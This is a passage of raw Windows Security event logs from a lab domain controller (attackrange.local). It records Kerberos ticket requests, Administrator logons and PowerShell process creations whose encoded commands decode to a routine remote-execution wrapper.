Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251309 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251308 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1334 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x11e0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251307 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11e0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf44 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251306 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12F337 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251305 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12F337 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251304 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251303 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251302 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251301 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf44 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x9d4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251300 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9d4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251299 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12F0F9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251298 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12F0F9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251297 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251296 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251295 -Keywords=Audit Success -Message=A Kerberos authentication 